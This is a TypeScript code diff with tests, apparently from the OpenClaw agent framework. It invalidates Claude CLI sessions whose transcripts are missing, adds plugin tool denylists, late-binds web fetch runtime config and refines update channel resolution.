prompt: "follow-up",
provider: "claude-cli",
model: "opus",
timeoutMs: 1_000,
runId: "run-77011-present",
cliSessionBinding: { sessionId: "live-claude-sid" },
cliSessionId: "live-claude-sid",
config: createCliBackendConfig({ systemPromptOverride: null }),
});
expect(transcriptCheck).toHaveBeenCalledWith({ sessionId: "live-claude-sid" });
expect(context.reusableCliSession).toEqual({ sessionId: "live-claude-sid" });
} finally {
fs.rmSync(dir, { recursive: true, force: true });
}
});
it("does not probe the transcript for non-claude-cli providers", async () => {
const { dir, sessionFile } = createSessionFile();
try {
const transcriptCheck = vi.fn(async () => false);
setCliRunnerPrepareTestDeps({
claudeCliSessionTranscriptHasContent: transcriptCheck,
});
const context = await prepareCliRunContext({
sessionId: "session-test",
sessionFile,
workspaceDir: dir,
prompt: "latest ask",
provider: "test-cli",
model: "test-model",
timeoutMs: 1_000,
runId: "run-77011-other-provider",
cliSessionBinding: { sessionId: "test-cli-sid" },
config: createCliBackendConfig({ systemPromptOverride: null }),
});
expect(transcriptCheck).not.toHaveBeenCalled();
expect(context.reusableCliSession).toEqual({ sessionId: "test-cli-sid" });
} finally {
fs.rmSync(dir, { recursive: true, force: true });
}
});
});

View File

@@ -4,6 +4,7 @@ import {
createMcpLoopbackServerConfig,
getActiveMcpLoopbackRuntime,
} from "../../gateway/mcp-http.loopback-runtime.js";
import { isClaudeCliProvider } from "../../plugin-sdk/anthropic-cli.js";
import type {
CliBackendAuthEpochMode,
CliBackendPreparedExecution,
@@ -29,6 +30,7 @@ import {
import { CLI_AUTH_EPOCH_VERSION, resolveCliAuthEpoch } from "../cli-auth-epoch.js";
import { resolveCliBackendConfig } from "../cli-backends.js";
import { hashCliSessionText, resolveCliSessionReuse } from "../cli-session.js";
import { claudeCliSessionTranscriptHasContent } from "../command/attempt-execution.helpers.js";
import { resolveHeartbeatPromptForSystemPrompt } from "../heartbeat-system-prompt.js";
import {
resolveBootstrapMaxChars,
@@ -51,7 +53,7 @@ import {
loadCliSessionHistoryMessages,
loadCliSessionReseedMessages,
} from "./session-history.js";
import type { PreparedCliRunContext, RunCliAgentParams } from "./types.js";
import type { CliReusableSession, PreparedCliRunContext, RunCliAgentParams } from "./types.js";
const prepareDeps = {
makeBootstrapWarn: makeBootstrapWarnImpl,
@@ -62,6 +64,9 @@ const prepareDeps = {
resolveOpenClawReferencePaths: async (
params: Parameters<typeof import("../docs-path.js").resolveOpenClawReferencePaths>[0],
) => (await import("../docs-path.js")).resolveOpenClawReferencePaths(params),
// Surfaced as a dep so tests can stub the on-disk Claude CLI transcript probe
// without touching ~/.claude/projects.
claudeCliSessionTranscriptHasContent,
};
export function setCliRunnerPrepareTestDeps(overrides: Partial<typeof prepareDeps>): void {
@@ -256,19 +261,36 @@ export async function prepareCliRunContext(
...(preparedBackendEnv ? { env: preparedBackendEnv } : {}),
...(preparedBackendCleanup ? { cleanup: preparedBackendCleanup } : {}),
};
const reusableCliSession = params.cliSessionBinding
? resolveCliSessionReuse({
binding: params.cliSessionBinding,
authProfileId: effectiveAuthProfileId,
authEpoch,
authEpochVersion: CLI_AUTH_EPOCH_VERSION,
extraSystemPromptHash,
mcpConfigHash: preparedBackendFinal.mcpConfigHash,
mcpResumeHash: preparedBackendFinal.mcpResumeHash,
})
: params.cliSessionId
? { sessionId: params.cliSessionId }
: {};
// Pre-flight: if a saved Claude CLI sessionId points at a transcript that no
// longer exists on disk (e.g. update.run aborted mid-swap, Claude CLI was
// reinstalled, or the projects tree was manually pruned), `claude --resume`
// hangs or fails outside the cli-runner session_expired path. The persisted
// binding then never gets refreshed, causing every subsequent turn to retry
// the same dead sessionId. Drop the binding here so this turn starts fresh
// and the post-run flow writes the new sessionId back via setCliSessionBinding.
const candidateClaudeCliSessionId =
params.cliSessionBinding?.sessionId?.trim() || params.cliSessionId?.trim() || undefined;
const claudeCliTranscriptMissing =
candidateClaudeCliSessionId !== undefined &&
isClaudeCliProvider(params.provider) &&
!(await prepareDeps.claudeCliSessionTranscriptHasContent({
sessionId: candidateClaudeCliSessionId,
}));
const reusableCliSession: CliReusableSession = claudeCliTranscriptMissing
? { invalidatedReason: "missing-transcript" }
: params.cliSessionBinding
? resolveCliSessionReuse({
binding: params.cliSessionBinding,
authProfileId: effectiveAuthProfileId,
authEpoch,
authEpochVersion: CLI_AUTH_EPOCH_VERSION,
extraSystemPromptHash,
mcpConfigHash: preparedBackendFinal.mcpConfigHash,
mcpResumeHash: preparedBackendFinal.mcpResumeHash,
})
: params.cliSessionId
? { sessionId: params.cliSessionId }
: {};
if (reusableCliSession.invalidatedReason) {
cliBackendLog.info(
`cli session reset: provider=${params.provider} reason=${reusableCliSession.invalidatedReason}`,

View File

@@ -78,7 +78,12 @@ export type CliPreparedBackend = {
export type CliReusableSession = {
sessionId?: string;
invalidatedReason?: "auth-profile" | "auth-epoch" | "system-prompt" | "mcp";
invalidatedReason?:
| "auth-profile"
| "auth-epoch"
| "system-prompt"
| "mcp"
| "missing-transcript";
};
export type PreparedCliRunContext = {

View File

@@ -1,7 +1,10 @@
import { selectApplicableRuntimeConfig } from "../config/config.js";
import {
getRuntimeConfigSnapshot,
getRuntimeConfigSourceSnapshot,
} from "../config/runtime-snapshot.js";
import type { OpenClawConfig } from "../config/types.openclaw.js";
import { resolvePluginTools } from "../plugins/tools.js";
import { getActiveSecretsRuntimeSnapshot } from "../secrets/runtime.js";
import { normalizeDeliveryContext } from "../utils/delivery-context.js";
import { listProfilesForProvider } from "./auth-profiles.js";
import type { AuthProfileStore } from "./auth-profiles/types.js";
@@ -14,6 +17,7 @@ import type { AnyAgentTool } from "./tools/common.js";
type ResolveOpenClawPluginToolsOptions = OpenClawPluginToolOptions & {
pluginToolAllowlist?: string[];
pluginToolDenylist?: string[];
currentChannelId?: string;
currentThreadTs?: string;
currentMessageId?: string | number;
@@ -28,6 +32,27 @@ type ResolveOpenClawPluginToolsOptions = OpenClawPluginToolOptions & {
authProfileStore?: AuthProfileStore;
};
function resolveApplicablePluginRuntimeConfig(
inputConfig?: OpenClawConfig,
): OpenClawConfig | undefined {
const runtimeConfig = getRuntimeConfigSnapshot() ?? undefined;
if (!runtimeConfig) {
return inputConfig;
}
if (!inputConfig || inputConfig === runtimeConfig) {
return runtimeConfig;
}
const runtimeSourceConfig = getRuntimeConfigSourceSnapshot() ?? undefined;
if (!runtimeSourceConfig) {
return inputConfig;
}
return selectApplicableRuntimeConfig({
inputConfig,
runtimeConfig,
runtimeSourceConfig,
});
}
export function resolveOpenClawPluginToolsForOptions(params: {
options?: ResolveOpenClawPluginToolsOptions;
resolvedConfig?: OpenClawConfig;
@@ -45,12 +70,7 @@ export function resolveOpenClawPluginToolsForOptions(params: {
});
const resolveCurrentRuntimeConfig = () => {
const currentRuntimeSnapshot = getActiveSecretsRuntimeSnapshot();
return selectApplicableRuntimeConfig({
inputConfig: params.resolvedConfig ?? params.options?.config,
runtimeConfig: currentRuntimeSnapshot?.config,
runtimeSourceConfig: currentRuntimeSnapshot?.sourceConfig,
});
return resolveApplicablePluginRuntimeConfig(params.resolvedConfig ?? params.options?.config);
};
const authProfileStore = params.options?.authProfileStore;
const pluginTools = resolvePluginTools({
@@ -62,6 +82,7 @@ export function resolveOpenClawPluginToolsForOptions(params: {
}),
existingToolNames: params.existingToolNames ?? new Set<string>(),
toolAllowlist: params.options?.pluginToolAllowlist,
toolDenylist: params.options?.pluginToolDenylist,
allowGatewaySubagentBinding: params.options?.allowGatewaySubagentBinding,
...(authProfileStore
? {

View File

@@ -1,5 +1,6 @@
import { afterEach, describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import { resetConfigRuntimeState, setRuntimeConfigSnapshot } from "../config/config.js";
import { activateSecretsRuntimeSnapshot, clearSecretsRuntimeSnapshot } from "../secrets/runtime.js";
import { resolveOpenClawPluginToolsForOptions } from "./openclaw-plugin-tools.js";
@@ -15,6 +16,7 @@ describe("createOpenClawTools browser plugin integration", () => {
afterEach(() => {
hoisted.resolvePluginTools.mockReset();
clearSecretsRuntimeSnapshot();
resetConfigRuntimeState();
});
it("keeps the browser tool returned by plugin resolution", () => {
@@ -193,6 +195,48 @@ describe("createOpenClawTools browser plugin integration", () => {
expect(capturedRuntimeConfig).toBe(resolvedRunConfig);
});
it("does not let a source-less pinned config snapshot override explicit plugin tool config", () => {
const pinnedRuntimeConfig = {
plugins: {
allow: ["old-plugin"],
},
} as OpenClawConfig;
const explicitConfig = {
plugins: {
allow: ["browser"],
},
tools: {
experimental: {
planTool: true,
},
},
} as OpenClawConfig;
let capturedRuntimeConfig: OpenClawConfig | undefined;
let getRuntimeConfig: (() => OpenClawConfig | undefined) | undefined;
hoisted.resolvePluginTools.mockImplementation((params: unknown) => {
const context = (
params as {
context?: {
runtimeConfig?: OpenClawConfig;
getRuntimeConfig?: () => OpenClawConfig | undefined;
};
}
).context;
capturedRuntimeConfig = context?.runtimeConfig;
getRuntimeConfig = context?.getRuntimeConfig;
return [];
});
setRuntimeConfigSnapshot(pinnedRuntimeConfig);
resolveOpenClawPluginToolsForOptions({
options: { config: explicitConfig },
resolvedConfig: explicitConfig,
});
expect(capturedRuntimeConfig).toBe(explicitConfig);
expect(getRuntimeConfig?.()).toBe(explicitConfig);
});
it("exposes a live runtime config getter to plugin tool factories", () => {
const sourceConfig = {
plugins: {
@@ -218,23 +262,7 @@ describe("createOpenClawTools browser plugin integration", () => {
).context?.getRuntimeConfig;
return [];
});
activateSecretsRuntimeSnapshot({
sourceConfig,
config: firstRuntimeConfig,
authStores: [],
warnings: [],
webTools: {
search: {
providerSource: "none",
diagnostics: [],
},
fetch: {
providerSource: "none",
diagnostics: [],
},
diagnostics: [],
},
});
setRuntimeConfigSnapshot(firstRuntimeConfig, sourceConfig);
resolveOpenClawPluginToolsForOptions({
options: { config: sourceConfig },
@@ -243,23 +271,7 @@ describe("createOpenClawTools browser plugin integration", () => {
expect(getRuntimeConfig?.()).toStrictEqual(firstRuntimeConfig);
activateSecretsRuntimeSnapshot({
sourceConfig,
config: nextRuntimeConfig,
authStores: [],
warnings: [],
webTools: {
search: {
providerSource: "none",
diagnostics: [],
},
fetch: {
providerSource: "none",
diagnostics: [],
},
diagnostics: [],
},
});
setRuntimeConfigSnapshot(nextRuntimeConfig, sourceConfig);
expect(getRuntimeConfig?.()).toStrictEqual(nextRuntimeConfig);
expect(getRuntimeConfig?.()?.plugins?.entries?.["memory-core"]?.enabled).toBe(false);

View File

@@ -276,6 +276,24 @@ describe("optional media tool factory planning", () => {
});
});
it("applies global tool policy before optional media factories run", () => {
const config: OpenClawConfig = { tools: { deny: ["pdf"] } };
installSnapshot(config, [
createPlugin({
id: "media-owner",
contracts: { mediaUnderstandingProviders: ["anthropic"] },
setupProviders: [{ id: "anthropic", envVars: ["ANTHROPIC_API_KEY"] }],
}),
]);
expect(
__testing.resolveOptionalMediaToolFactoryPlan({
config,
authStore: createAuthStore(["anthropic"]),
}).pdf,
).toBe(false);
});
it("applies wildcard deny patterns to optional factory planning", () => {
const config: OpenClawConfig = {};
installSnapshot(config, [

View File

@@ -94,6 +94,11 @@ function isToolAllowedByFactoryPolicy(params: {
});
}
function mergeFactoryPolicyList(...lists: Array<string[] | undefined>): string[] | undefined {
const merged = lists.flatMap((list) => (Array.isArray(list) ? list : []));
return merged.length > 0 ? Array.from(new Set(merged)) : undefined;
}
function resolveImageToolFactoryAvailable(params: {
config?: OpenClawConfig;
agentDir?: string;
@@ -165,25 +170,27 @@ function resolveOptionalMediaToolFactoryPlan(params: {
toolDenylist?: string[];
}): OptionalMediaToolFactoryPlan {
const defaults = params.config?.agents?.defaults;
const toolAllowlist = mergeFactoryPolicyList(params.config?.tools?.allow, params.toolAllowlist);
const toolDenylist = mergeFactoryPolicyList(params.config?.tools?.deny, params.toolDenylist);
const allowImageGenerate = isToolAllowedByFactoryPolicy({
toolName: "image_generate",
allowlist: params.toolAllowlist,
denylist: params.toolDenylist,
allowlist: toolAllowlist,
denylist: toolDenylist,
});
const allowVideoGenerate = isToolAllowedByFactoryPolicy({
toolName: "video_generate",
allowlist: params.toolAllowlist,
denylist: params.toolDenylist,
allowlist: toolAllowlist,
denylist: toolDenylist,
});
const allowMusicGenerate = isToolAllowedByFactoryPolicy({
toolName: "music_generate",
allowlist: params.toolAllowlist,
denylist: params.toolDenylist,
allowlist: toolAllowlist,
denylist: toolDenylist,
});
const allowPdf = isToolAllowedByFactoryPolicy({
toolName: "pdf",
allowlist: params.toolAllowlist,
denylist: params.toolDenylist,
allowlist: toolAllowlist,
denylist: toolDenylist,
});
const explicitImageGeneration = hasExplicitToolModelConfig(defaults?.imageGenerationModel);
const explicitVideoGeneration = hasExplicitToolModelConfig(defaults?.videoGenerationModel);
@@ -442,6 +449,7 @@ export function createOpenClawTools(
config: options?.config,
sandboxed: options?.sandboxed,
runtimeWebFetch: runtimeWebTools?.fetch,
lateBindRuntimeConfig: true,
});
options?.recordToolPrepStage?.("openclaw-tools:web-fetch-tool");
const messageTool = options?.disableMessageTool

View File

@@ -649,6 +649,7 @@ export function createOpenClawCodingTools(options?: {
allowHostBrowserControl: sandbox ? sandbox.browserAllowHostControl : true,
sandboxed: !!sandbox,
pluginToolAllowlist,
pluginToolDenylist,
currentChannelId: options?.currentChannelId,
currentThreadTs: options?.currentThreadTs,
currentMessageId: options?.currentMessageId,

View File

@@ -6,21 +6,35 @@ import { createWebFetchTool } from "./web-fetch.js";
const { resolveWebFetchDefinitionMock } = vi.hoisted(() => ({
resolveWebFetchDefinitionMock: vi.fn(),
}));
const runtimeState = vi.hoisted(() => ({
activeSecretsRuntimeSnapshot: null as null | { config: unknown },
activeRuntimeWebToolsMetadata: null as null | Record<string, unknown>,
}));
vi.mock("../../web-fetch/runtime.js", () => ({
resolveWebFetchDefinition: resolveWebFetchDefinitionMock,
}));
vi.mock("../../secrets/runtime.js", () => ({
getActiveSecretsRuntimeSnapshot: () => runtimeState.activeSecretsRuntimeSnapshot,
}));
vi.mock("../../secrets/runtime-web-tools-state.js", () => ({
getActiveRuntimeWebToolsMetadata: () => runtimeState.activeRuntimeWebToolsMetadata,
}));
describe("web_fetch provider fallback normalization", () => {
const priorFetch = global.fetch;
beforeEach(() => {
resolveWebFetchDefinitionMock.mockReset();
runtimeState.activeSecretsRuntimeSnapshot = null;
runtimeState.activeRuntimeWebToolsMetadata = null;
});
afterEach(() => {
global.fetch = priorFetch;
vi.restoreAllMocks();
runtimeState.activeSecretsRuntimeSnapshot = null;
runtimeState.activeRuntimeWebToolsMetadata = null;
});
it("re-wraps and truncates provider fallback payloads before caching or returning", async () => {
@@ -124,4 +138,87 @@ describe("web_fetch provider fallback normalization", () => {
expect(details.url).toBe("https://example.com/fallback");
expect(details.finalUrl).toBe("https://example.com/fallback");
});
it("late-binds provider fallback config and runtime metadata from the active runtime snapshot", async () => {
global.fetch = withFetchPreconnect(
vi.fn(async () => {
throw new Error("network failed");
}),
);
const runtimeConfig = {
tools: {
web: {
fetch: {
provider: "firecrawl",
maxChars: 640,
},
},
},
} as OpenClawConfig;
runtimeState.activeSecretsRuntimeSnapshot = { config: runtimeConfig };
runtimeState.activeRuntimeWebToolsMetadata = {
fetch: {
providerConfigured: "firecrawl",
providerSource: "configured",
selectedProvider: "firecrawl",
selectedProviderKeySource: "config",
diagnostics: [],
},
diagnostics: [],
};
resolveWebFetchDefinitionMock.mockReturnValue({
provider: { id: "firecrawl" },
definition: {
description: "firecrawl",
parameters: {},
execute: async () => ({
text: "runtime fallback body ".repeat(200),
}),
},
});
const tool = createWebFetchTool({
config: {
tools: {
web: {
fetch: {
provider: "stale",
maxChars: 200,
},
},
},
} as OpenClawConfig,
sandboxed: false,
runtimeWebFetch: {
providerConfigured: "stale",
providerSource: "configured",
selectedProvider: "stale",
selectedProviderKeySource: "config",
diagnostics: [],
},
lateBindRuntimeConfig: true,
});
const result = await tool?.execute?.("call-provider-fallback", {
url: "https://example.com/fallback",
});
const details = result?.details as {
wrappedLength?: number;
externalContent?: Record<string, unknown>;
};
expect(details.wrappedLength).toBeGreaterThan(200);
expect(details.wrappedLength).toBeLessThanOrEqual(640);
expect(details.externalContent).toMatchObject({
provider: "firecrawl",
});
expect(resolveWebFetchDefinitionMock).toHaveBeenCalledWith(
expect.objectContaining({
config: runtimeConfig,
runtimeWebFetch: expect.objectContaining({
selectedProvider: "firecrawl",
}),
}),
);
});
});

View File

@@ -34,6 +34,7 @@ import {
resolveTimeoutSeconds,
writeCache,
} from "./web-shared.js";
import { resolveWebFetchToolRuntimeContext } from "./web-tool-runtime-context.js";
const EXTRACT_MODES = ["markdown", "text"] as const;
@@ -615,32 +616,13 @@ export function createWebFetchTool(options?: {
config?: OpenClawConfig;
sandboxed?: boolean;
runtimeWebFetch?: RuntimeWebFetchMetadata;
lateBindRuntimeConfig?: boolean;
lookupFn?: LookupFn;
}): AnyAgentTool | null {
const fetch = resolveFetchConfig(options?.config);
if (!resolveFetchEnabled({ fetch, sandboxed: options?.sandboxed })) {
return null;
}
const readabilityEnabled = resolveFetchReadabilityEnabled(fetch);
const userAgent =
(fetch && "userAgent" in fetch && typeof fetch.userAgent === "string" && fetch.userAgent) ||
DEFAULT_FETCH_USER_AGENT;
const maxResponseBytes = resolveFetchMaxResponseBytes(fetch);
let providerFallbackResolved = false;
let providerFallbackCache: WebFetchProviderFallback;
const resolveProviderFallback = async () => {
if (!providerFallbackResolved) {
const { resolveWebFetchDefinition } = await loadWebFetchRuntime();
providerFallbackCache = resolveWebFetchDefinition({
config: options?.config,
sandboxed: options?.sandboxed,
runtimeWebFetch: options?.runtimeWebFetch,
preferRuntimeProviders: true,
});
providerFallbackResolved = true;
}
return providerFallbackCache;
};
return {
label: "Web Fetch",
name: "web_fetch",
@@ -648,28 +630,68 @@ export function createWebFetchTool(options?: {
"Fetch and extract readable content from a URL (HTML → markdown/text). Use for lightweight page access without browser automation.",
parameters: WebFetchSchema,
execute: async (_toolCallId, args) => {
const { config, preferRuntimeProviders, runtimeWebFetch } = resolveWebFetchToolRuntimeContext(
{
config: options?.config,
lateBindRuntimeConfig: options?.lateBindRuntimeConfig,
runtimeWebFetch: options?.runtimeWebFetch,
},
);
const executionFetch = resolveFetchConfig(config);
if (!resolveFetchEnabled({ fetch: executionFetch, sandboxed: options?.sandboxed })) {
throw new Error("web_fetch is disabled.");
}
const readabilityEnabled = resolveFetchReadabilityEnabled(executionFetch);
const userAgent =
(executionFetch &&
"userAgent" in executionFetch &&
typeof executionFetch.userAgent === "string" &&
executionFetch.userAgent) ||
DEFAULT_FETCH_USER_AGENT;
const maxResponseBytes = resolveFetchMaxResponseBytes(executionFetch);
let providerFallbackResolved = false;
let providerFallbackCache: WebFetchProviderFallback;
const resolveProviderFallback = async () => {
if (!providerFallbackResolved) {
const { resolveWebFetchDefinition } = await loadWebFetchRuntime();
providerFallbackCache = resolveWebFetchDefinition({
config,
sandboxed: options?.sandboxed,
runtimeWebFetch,
preferRuntimeProviders,
});
providerFallbackResolved = true;
}
return providerFallbackCache;
};
const params = args as Record<string, unknown>;
const url = readStringParam(params, "url", { required: true });
const extractMode = readStringParam(params, "extractMode") === "text" ? "text" : "markdown";
const maxChars = readNumberParam(params, "maxChars", { integer: true });
const maxCharsCap = resolveFetchMaxCharsCap(fetch);
const maxCharsCap = resolveFetchMaxCharsCap(executionFetch);
const result = await runWebFetch({
url,
extractMode,
maxChars: resolveMaxChars(
maxChars ?? fetch?.maxChars,
maxChars ?? executionFetch?.maxChars,
DEFAULT_FETCH_MAX_CHARS,
maxCharsCap,
),
maxResponseBytes,
maxRedirects: resolveMaxRedirects(fetch?.maxRedirects, DEFAULT_FETCH_MAX_REDIRECTS),
timeoutSeconds: resolveTimeoutSeconds(fetch?.timeoutSeconds, DEFAULT_TIMEOUT_SECONDS),
cacheTtlMs: resolveCacheTtlMs(fetch?.cacheTtlMinutes, DEFAULT_CACHE_TTL_MINUTES),
maxRedirects: resolveMaxRedirects(
executionFetch?.maxRedirects,
DEFAULT_FETCH_MAX_REDIRECTS,
),
timeoutSeconds: resolveTimeoutSeconds(
executionFetch?.timeoutSeconds,
DEFAULT_TIMEOUT_SECONDS,
),
cacheTtlMs: resolveCacheTtlMs(executionFetch?.cacheTtlMinutes, DEFAULT_CACHE_TTL_MINUTES),
userAgent,
readabilityEnabled,
config: options?.config,
useTrustedEnvProxy: resolveFetchUseTrustedEnvProxy(fetch),
ssrfPolicy: fetch?.ssrfPolicy,
config,
useTrustedEnvProxy: resolveFetchUseTrustedEnvProxy(executionFetch),
ssrfPolicy: executionFetch?.ssrfPolicy,
lookupFn: options?.lookupFn,
resolveProviderFallback,
});

View File

@@ -0,0 +1,123 @@
import type { OpenClawConfig } from "../../config/types.openclaw.js";
import { resolveManifestContractOwnerPluginId } from "../../plugins/plugin-registry.js";
import { getActiveRuntimeWebToolsMetadata } from "../../secrets/runtime-web-tools-state.js";
import type {
RuntimeWebFetchMetadata,
RuntimeWebSearchMetadata,
} from "../../secrets/runtime-web-tools.types.js";
import { getActiveSecretsRuntimeSnapshot } from "../../secrets/runtime.js";
type WebProviderKind = "fetch" | "search";
type WebProviderRuntimeMetadata = RuntimeWebFetchMetadata | RuntimeWebSearchMetadata;
type WebProviderContract = "webFetchProviders" | "webSearchProviders";
type ResolvedWebToolRuntimeContext<TMetadata extends WebProviderRuntimeMetadata> = {
config?: OpenClawConfig;
preferRuntimeProviders: boolean;
runtimeMetadata?: TMetadata;
};
function resolveConfiguredWebProviderId(
config: OpenClawConfig | undefined,
kind: WebProviderKind,
): string {
const provider = config?.tools?.web?.[kind]?.provider;
return typeof provider === "string" ? provider.trim().toLowerCase() : "";
}
function resolveRuntimeWebProviderId(metadata: WebProviderRuntimeMetadata | undefined): string {
return metadata?.selectedProvider ?? metadata?.providerConfigured ?? "";
}
function resolveWebProviderContract(kind: WebProviderKind): WebProviderContract {
return kind === "fetch" ? "webFetchProviders" : "webSearchProviders";
}
function shouldPreferRuntimeProviders(params: {
config?: OpenClawConfig;
kind: WebProviderKind;
providerSelectionId: string;
}): boolean {
if (!params.providerSelectionId) {
return true;
}
return !resolveManifestContractOwnerPluginId({
contract: resolveWebProviderContract(params.kind),
value: params.providerSelectionId,
origin: "bundled",
config: params.config,
});
}
function resolveWebToolRuntimeContext<TMetadata extends WebProviderRuntimeMetadata>(params: {
capturedConfig?: OpenClawConfig;
capturedRuntimeMetadata?: TMetadata;
kind: WebProviderKind;
lateBindRuntimeConfig?: boolean;
}): ResolvedWebToolRuntimeContext<TMetadata> {
const activeWebTools =
params.lateBindRuntimeConfig === true ? getActiveRuntimeWebToolsMetadata() : null;
const runtimeMetadata = (activeWebTools?.[params.kind] ?? params.capturedRuntimeMetadata) as
| TMetadata
| undefined;
const config =
params.lateBindRuntimeConfig === true
? (getActiveSecretsRuntimeSnapshot()?.config ?? params.capturedConfig)
: params.capturedConfig;
const providerSelectionId =
resolveRuntimeWebProviderId(runtimeMetadata) ||
resolveConfiguredWebProviderId(config, params.kind);
return {
config,
preferRuntimeProviders: shouldPreferRuntimeProviders({
config,
kind: params.kind,
providerSelectionId,
}),
runtimeMetadata,
};
}
export function resolveWebSearchToolRuntimeContext(params: {
config?: OpenClawConfig;
lateBindRuntimeConfig?: boolean;
runtimeWebSearch?: RuntimeWebSearchMetadata;
}): ResolvedWebToolRuntimeContext<RuntimeWebSearchMetadata> & {
runtimeWebSearch?: RuntimeWebSearchMetadata;
} {
const resolved = resolveWebToolRuntimeContext({
capturedConfig: params.config,
capturedRuntimeMetadata: params.runtimeWebSearch,
kind: "search",
lateBindRuntimeConfig: params.lateBindRuntimeConfig,
});
return {
config: resolved.config,
preferRuntimeProviders: resolved.preferRuntimeProviders,
runtimeMetadata: resolved.runtimeMetadata,
runtimeWebSearch: resolved.runtimeMetadata,
};
}
export function resolveWebFetchToolRuntimeContext(params: {
config?: OpenClawConfig;
lateBindRuntimeConfig?: boolean;
runtimeWebFetch?: RuntimeWebFetchMetadata;
}): ResolvedWebToolRuntimeContext<RuntimeWebFetchMetadata> & {
runtimeWebFetch?: RuntimeWebFetchMetadata;
} {
const resolved = resolveWebToolRuntimeContext({
capturedConfig: params.config,
capturedRuntimeMetadata: params.runtimeWebFetch,
kind: "fetch",
lateBindRuntimeConfig: params.lateBindRuntimeConfig,
});
return {
config: resolved.config,
preferRuntimeProviders: resolved.preferRuntimeProviders,
runtimeMetadata: resolved.runtimeMetadata,
runtimeWebFetch: resolved.runtimeMetadata,
};
}

View File

@@ -11,6 +11,7 @@ import {
recoverInstalledLaunchAgentAfterUpdate,
recoverLaunchAgentAndRecheckGatewayHealth,
resolvePostInstallDoctorEnv,
resolveUpdateCommandChannel,
shouldPrepareUpdatedInstallRestart,
resolveUpdatedGatewayRestartPort,
shouldUseLegacyProcessRestartAfterUpdate,
@@ -236,6 +237,43 @@ describe("shouldUseLegacyProcessRestartAfterUpdate", () => {
expect(shouldUseLegacyProcessRestartAfterUpdate({ updateMode: "unknown" })).toBe(true);
});
});
describe("resolveUpdateCommandChannel", () => {
it("keeps package updates on beta when the installed core is beta", () => {
expect(
resolveUpdateCommandChannel({
updateInstallKind: "package",
currentVersion: "2026.5.3-beta.1",
}),
).toBe("beta");
});
it("keeps installed beta packages on beta even with stale stable config", () => {
expect(
resolveUpdateCommandChannel({
storedChannel: "stable",
updateInstallKind: "package",
currentVersion: "2026.5.3-beta.1",
}),
).toBe("beta");
});
it("lets an explicit requested channel override the installed beta version", () => {
expect(
resolveUpdateCommandChannel({
requestedChannel: "stable",
storedChannel: "beta",
updateInstallKind: "package",
currentVersion: "2026.5.3-beta.1",
}),
).toBe("stable");
});
it("keeps git installs on the dev default", () => {
expect(resolveUpdateCommandChannel({ updateInstallKind: "git" })).toBe("dev");
});
});
describe("recoverInstalledLaunchAgentAfterUpdate", () => {
it("re-bootstraps an installed-but-not-loaded macOS LaunchAgent after update", async () => {
const service = {} as never;

View File

@@ -33,8 +33,9 @@ import { nodeVersionSatisfiesEngine } from "../../infra/runtime-guard.js";
import {
channelToNpmTag,
DEFAULT_GIT_CHANNEL,
DEFAULT_PACKAGE_CHANNEL,
normalizeUpdateChannel,
resolveRegistryUpdateChannel,
type UpdateChannel,
} from "../../infra/update-channels.js";
import {
compareSemverStrings,
@@ -238,6 +239,24 @@ export function shouldUseLegacyProcessRestartAfterUpdate(params: {
return !isPackageManagerUpdateMode(params.updateMode);
}
export function resolveUpdateCommandChannel(params: {
requestedChannel?: UpdateChannel | null;
storedChannel?: UpdateChannel | null;
updateInstallKind: "git" | "package" | "unknown";
currentVersion?: string | null;
}): UpdateChannel {
if (params.requestedChannel) {
return params.requestedChannel;
}
if (params.updateInstallKind === "git") {
return params.storedChannel ?? DEFAULT_GIT_CHANNEL;
}
return resolveRegistryUpdateChannel({
configChannel: params.storedChannel,
currentVersion: params.currentVersion,
});
}
type PostUpdateLaunchAgentRecoveryResult =
| { attempted: false; recovered: false }
| { attempted: true; recovered: true; message: string }
@@ -1806,9 +1825,14 @@ export async function updateCommand(opts: UpdateCommandOptions): Promise<void> {
const switchToPackage =
requestedChannel !== null && requestedChannel !== "dev" && installKind === "git";
const updateInstallKind = switchToGit ? "git" : switchToPackage ? "package" : installKind;
const defaultChannel =
updateInstallKind === "git" ? DEFAULT_GIT_CHANNEL : DEFAULT_PACKAGE_CHANNEL;
const channel = requestedChannel ?? storedChannel ?? defaultChannel;
const currentVersionForChannel =
updateInstallKind !== "git" && !switchToPackage ? await readPackageVersion(root) : null;
const channel = resolveUpdateCommandChannel({
requestedChannel,
storedChannel,
updateInstallKind,
currentVersion: currentVersionForChannel,
});
const devTargetRef =
channel === "dev" ? process.env.OPENCLAW_UPDATE_DEV_TARGET_REF?.trim() || undefined : undefined;
@@ -1822,7 +1846,7 @@ export async function updateCommand(opts: UpdateCommandOptions): Promise<void> {
let packageAlreadyCurrent = false;
if (updateInstallKind !== "git") {
currentVersion = switchToPackage ? null : await readPackageVersion(root);
currentVersion = switchToPackage ? null : currentVersionForChannel;
if (explicitTag) {
targetVersion = await resolveTargetVersion(tag, timeoutMs);
} else {

View File

@@ -84,6 +84,14 @@ function shouldUseCompatPreflight(path: ReadonlyArray<string>, value: unknown):
if (last === "streaming" && (typeof value === "boolean" || typeof value === "string")) {
return true;
}
if (
last === "progress" &&
path.length >= 3 &&
path[path.length - 2] === "streaming" &&
path[0] === "channels"
) {
return true;
}
if (
joined === "talk.voiceId" ||
joined === "talk.voiceAliases" ||

View File

@@ -1,4 +1,9 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import { isPrereleaseSemverVersion } from "../../../infra/npm-registry-spec.js";
import { VERSION } from "../../../version.js";
const openClawReleaseSpec = (packageName: string) =>
isPrereleaseSemverVersion(VERSION) ? `${packageName}@beta` : `${packageName}@${VERSION}`;
const mocks = vi.hoisted(() => ({
installPluginFromClawHub: vi.fn(),
@@ -343,13 +348,13 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/twitch",
spec: openClawReleaseSpec("@openclaw/twitch"),
expectedPluginId: "twitch",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.changes).toEqual([
'Installed missing configured plugin "twitch" from @openclaw/twitch.',
`Installed missing configured plugin "twitch" from ${openClawReleaseSpec("@openclaw/twitch")}.`,
]);
});
@@ -395,12 +400,12 @@ describe("repairMissingConfiguredPluginInstalls", () => {
expect(mocks.installPluginFromClawHub).not.toHaveBeenCalled();
expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/diagnostics-otel",
